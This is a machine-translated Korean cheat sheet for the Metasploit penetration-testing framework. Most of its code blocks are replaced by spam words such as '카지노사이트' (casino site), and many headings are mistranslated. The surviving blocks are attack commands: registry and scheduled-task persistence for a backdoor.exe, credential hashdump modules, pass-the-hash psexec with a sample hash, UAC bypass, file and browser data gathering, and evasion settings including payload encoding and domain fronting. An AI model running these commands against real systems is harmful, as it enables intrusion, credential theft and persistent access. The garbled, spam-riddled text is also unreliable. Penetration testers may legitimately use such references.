Metasploit Framework 열 시트¶
제품정보¶
Metasploit Framework는 Rapid7에 의해 개발 된 세계에서 가장 널리 사용되는 침투 테스트 프레임 워크입니다. 2003년 H.D. Moore에 의해 만들어진 Metasploit는 악용 개발, 취약성 검증 및 침투 테스트를 위해 de facto 표준으로 진화했습니다. 프레임 워크는 원격 대상 기계에 대한 개발, 테스트 및 실행 악용 코드를 위한 포괄적 인 플랫폼을 제공합니다. 보안 전문가, 침투 테스터 및 빨간색 팀 운영자를위한 통합 도구.
Metasploit의 모듈 아키텍처는 다양한 방법으로 정교한 공격 시나리오를 만들 수있는 악용, 페이로드, 인코딩, nops 및 보조 모듈로 구성됩니다. 프레임 워크는 명령 줄 msfconsole, 웹 기반 인터페이스 및 기타 보안 도구와 통합을위한 다양한 API를 포함한 여러 인터페이스를 지원합니다. 2,000개 이상의 악용과 500개의 페이로드를 통해 Metasploit는 다양한 운영 체제, 애플리케이션 및 네트워크 서비스 전반에 걸쳐 보안 취약성을 테스트하는 광범위한 적용을 제공합니다.
프레임 워크의 강점은 광범위한 악용 데이터베이스뿐만 아니라 페이로드 세대 기능, 포스트 폭발성 모듈 및 증발 기술에서도 사용됩니다. Metasploit는 보안 전문가가 실제 공격, 검증된 보안 컨트롤을 시뮬레이션하고 이해 관계자에게 취약점의 영향을 보여줍니다. 다른 보안 도구와 통합 및 광범위한 문서는 사이버 보안 분야에서 초보자와 고급 실무자 모두에게 접근 할 수 있습니다.
설치하기¶
Kali Linux 설치¶
Metasploit는 Kali Linux에서 사전 설치되며 패키지 관리자를 사용하여 업데이트 할 수 있습니다.
카지노사이트
Ubuntu/Debian 설치¶
카지노사이트
센트로/RHEL 설치하기¶
카지노사이트
Docker 설치¶
카지노사이트
Windows 설치¶
카지노사이트
macOS 설치¶
카지노사이트
기본 사용¶
Metasploit 시작하기 회사 소개¶
카지노사이트
Database 관리¶
카지노사이트
기본 콘솔 명령¶
카지노사이트
핵심 명령¶
검색 및 정보¶
카지노사이트
모듈 선택 및 구성¶
ο 회원 관리
Target 및 Payload 관리¶
카지노사이트
폭발 작업 흐름¶
Basic Exploitation 프로세스¶
카지노사이트
고급 Exploitation 기술¶
카지노사이트
Multi-Target 폭발¶
카지노사이트
Payload 생성¶
MSFVenom Payload 생성¶
카지노사이트
Payloads를 인코딩¶
카지노사이트
사용자 정의 템플릿 및 형식¶
카지노사이트
플랫폼 Specific Payloads¶
카지노사이트
세션 관리¶
기본 세션 명령¶
오프화이트
세션 Interaction¶
카지노사이트
고급 세션 관리¶
오프화이트
Meterpreter 명령¶
시스템 정보¶
카지노사이트
파일 시스템 운영¶
카지노사이트
공정관리¶
카지노사이트
네트워크 운영¶
카지노사이트
레지스트리 운영 (Windows)¶
카지노사이트
Credential 운영¶
카지노사이트
회사 소개¶
```bash
Create persistent backdoor¶
use exploit/windows/local/persistence set SESSION 1 set STARTUP SYSTEM run
Registry persistence¶
reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v Backdoor -t REG_SZ -d "C:\Windows\Temp\backdoor.exe"
Service persistence¶
use post/windows/manage/persistence_exe set SESSION 1 set REXEPATH C:\Windows\Temp\backdoor.exe run
Scheduled task persistence¶
execute -f schtasks.exe -a "/create /tn Backdoor /tr C:\Windows\Temp\backdoor.exe /sc onlogon" ```의 경우
포스트 폭발 모듈¶
정보 수집¶
```bash
System enumeration¶
use post/windows/gather/enum_system use post/linux/gather/enum_system set SESSION 1 run
Network enumeration¶
use post/windows/gather/enum_domain use post/windows/gather/enum_shares use post/linux/gather/enum_network set SESSION 1 run
Credential gathering¶
use post/windows/gather/credentials/credential_collector use post/windows/gather/smart_hashdump use post/linux/gather/hashdump set SESSION 1 run
Application enumeration¶
use post/windows/gather/enum_applications use post/windows/gather/enum_chrome use post/windows/gather/enum_firefox set SESSION 1 run
File enumeration¶
use post/windows/gather/enum_files use post/multi/gather/find_files set SESSION 1 set SEARCH_FROM C:\ set FILE_GLOBS .txt,.doc,*.pdf run ```에 대하여
Privilege 확장¶
```bash
Windows privilege escalation¶
use post/windows/escalate/getsystem use post/windows/escalate/bypassuac use post/windows/escalate/bypassuac_injection set SESSION 1 run
Linux privilege escalation¶
use post/linux/escalate/cve_2021_4034 use post/linux/escalate/sudo_baron_samedit set SESSION 1 run
Suggest privilege escalation¶
use post/multi/recon/local_exploit_suggester set SESSION 1 run
UAC bypass¶
use exploit/windows/local/bypassuac_comhijack use exploit/windows/local/bypassuac_fodhelper set SESSION 1 run ```의 경우
옆 운동¶
```bash
Pass the hash¶
use exploit/windows/smb/psexec set RHOSTS 192.168.1.100 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 run
WMI execution¶
use exploit/windows/local/wmi set SESSION 1 set RHOSTS 192.168.1.100 run
PowerShell remoting¶
use exploit/windows/local/powershell_remoting set SESSION 1 set RHOSTS 192.168.1.100 run
SSH lateral movement¶
use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.1.0/24 set USERNAME root set PASSWORD password run ```에 대하여
자료 Exfiltration¶
```bash
File collection¶
use post/multi/gather/find_files set SESSION 1 set SEARCH_FROM C:\Users set FILE_GLOBS .doc,.pdf,.txt,.xls run
Browser data¶
use post/windows/gather/enum_chrome use post/windows/gather/enum_firefox use post/windows/gather/enum_ie set SESSION 1 run
Email data¶
use post/windows/gather/outlook use post/windows/gather/thunderbird_creds set SESSION 1 run
Database enumeration¶
use auxiliary/admin/mssql/mssql_enum use auxiliary/admin/mysql/mysql_enum set SESSION 1 run ```의 경우
Persistence와 뒷문¶
카지노사이트
보조 모듈¶
회사연혁¶
카지노사이트
Brute 힘 공격¶
카지노사이트
서비스 제공¶
카지노사이트
SNMP 축소¶
카지노사이트
Database 통합¶
Workspace 관리¶
카지노사이트
호스트 및 서비스 관리¶
```bash
Add hosts¶
db_import /path/to/nmap_scan.xml hosts
Add host manually¶
hosts -a 192.168.1.100 -n target1 -o "Windows 10"
Show hosts¶
hosts hosts -c address,name,os_name
Search hosts¶
hosts 192.168.1.0/24 hosts -S windows
Delete hosts¶
hosts -d 192.168.1.100
Add services¶
services -a -p 80 -s http -h 192.168.1.100
Show services¶
services services -p 80 services -s http
Delete services¶
services -d -p 80 -h 192.168.1.100 ```의 경우
Vulnerability 관리¶
```bash
Show vulnerabilities¶
vulns
Add vulnerability¶
vulns -a -h 192.168.1.100 -n "MS17-010" -r "CVE-2017-0144"
Search vulnerabilities¶
vulns -S ms17-010
Show vulnerability details¶
vulns -v
Export vulnerabilities¶
vulns -O /tmp/vulns.xml ```의 경우
Credential 관리¶
카지노사이트
Loot 관리¶
```bash
Show loot¶
loot
Add loot¶
loot -a -h 192.168.1.100 -t "password_file" -f /tmp/passwords.txt
Search loot¶
loot -S password
Export loot¶
loot -O /tmp/loot.xml ```의 경우
고급 기술¶
주문 모듈 개발¶
```ruby
Basic exploit module template¶
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = \\{\\}) super(update_info(info, 'Name' => 'Custom Exploit', 'Description' => 'Custom exploit description', 'Author' => ['Your Name'], 'License' => MSF_LICENSE, 'References' => [['CVE', '2021-1234']], 'Platform' => 'win', 'Targets' => [['Windows Universal', \\{\\}]], 'Payload' => \\{ 'Space' => 400, 'BadChars' => "\x00\x0a\x0d" \\}, 'DisclosureDate' => '2021-01-01', 'DefaultTarget' => 0))
register_options([
Opt::RPORT(9999)
])
end
def check # Vulnerability check logic return Exploit::CheckCode::Vulnerable end
def exploit # Exploitation logic connect print_status("Sending payload...") sock.put(payload.encoded) handler disconnect end end ```를 호출합니다.
주문 Payload 개발¶
```ruby
Basic payload module template¶
require 'msf/core'
module MetasploitModule CachedSize = 200
include Msf::Payload::Single include Msf::Payload::Windows include Msf::Payload::Windows::Exec
def initialize(info = \\{\\}) super(merge_info(info, 'Name' => 'Custom Windows Payload', 'Description' => 'Custom payload description', 'Author' => ['Your Name'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86))
register_options([
OptString.new('CMD', [true, "Command to execute", 'calc.exe'])
])
end
def generate # Payload generation logic cmd = datastore['CMD']||'calc.exe' # Return shellcode end end ```의 경우
Evasion 기술¶
```bash
Use encoders¶
set ENCODER x86/shikata_ga_nai set ITERATIONS 5
Use custom templates¶
set TEMPLATE /path/to/legitimate.exe
Modify payload behavior¶
set PrependMigrate true set PrependMigrateProc explorer.exe
Use HTTPS for C2¶
set LHOST 192.168.1.50 set LPORT 443 set HttpsUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Domain fronting¶
set HttpHostHeader legitimate-domain.com set LHOST cdn-provider.com
Custom user agents¶
set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
Sleep and jitter¶
set WfsDelay 30 set Jitter 25 ```로
자동화 및 스크립트¶
카지노사이트
다른 도구와 통합¶
Nmap 통합¶
오프화이트
Burp Suite 통합¶
카지노사이트
Cobalt Strike 통합¶
__CODE_BLOCK_49_로그
OSINT 통합¶
카지노사이트
문제 해결¶
일반적인 문제 및 솔루션¶
```bash
Database connection issues¶
msfdb status msfdb reinit sudo systemctl restart postgresql
Module loading errors¶
reload_all updatedb
Payload generation failures¶
msfvenom --list formats msfvenom --list encoders msfvenom --list platforms
Session connectivity issues¶
sessions -l sessions -k 1 route print route flush
Permission issues¶
sudo chown -R \(USER:\)USER ~/.msf4 sudo chmod -R 755 ~/.msf4 ```를 호출합니다.
성능 최적화¶
```bash
Increase database performance¶
echo "shared_buffers = 256MB"|sudo tee -a /etc/postgresql//main/postgresql.conf echo "effective_cache_size = 1GB"|sudo tee -a /etc/postgresql//main/postgresql.conf sudo systemctl restart postgresql
Optimize threading¶
set THREADS 20 set MaxSessions 10
Memory optimization¶
ulimit -n 4096 echo "* soft nofile 4096"|sudo tee -a /etc/security/limits.conf echo "* hard nofile 4096"|sudo tee -a /etc/security/limits.conf
Clean up old sessions¶
sessions -K db_rebuild_cache ```의 경우
관련 링크¶
카지노사이트
보안 고려 사항¶
운영 보안¶
카지노사이트
법률 및 윤리적 고려¶
```bash
Document authorization¶
echo "Authorized penetration test - $(date)" > /tmp/authorization.txt echo "Scope: 192.168.1.0/24" >> /tmp/authorization.txt echo "Contact: security@company.com" >> /tmp/authorization.txt
Limit scope¶
set RHOSTS 192.168.1.100-110 # Only authorized targets set ExitOnSession true # Limit session creation
Avoid destructive actions¶
set DisablePayloadHandler true set PrependMigrate false ```로
데이터 보호¶
카지노사이트
ღ♥ღ Security Notice**: Metasploit Framework는 시스템에서 사용해야 하는 강력한 침투 테스트 도구이며, 테스트에 명시된 서면 승인이 있습니다. 시스템에 대한이 도구의 무단 사용은 불법적이지 않습니다. 항상 보안 테스트 활동을 수행하기 전에 적절한 권한이 있습니다. 이 속임수 시트는 교육 목적과 공인 보안 테스트에만 적용됩니다. 사용자는 관할 구역의 모든 적용 가능한 법률 및 규정에 따라 책임집니다.
이름 * 추가 리소스**: - Official Metasploit 문서 - Metasploit Unleashed 과정 - Rapid7 커뮤니티 - Metasploit GitHub 저장소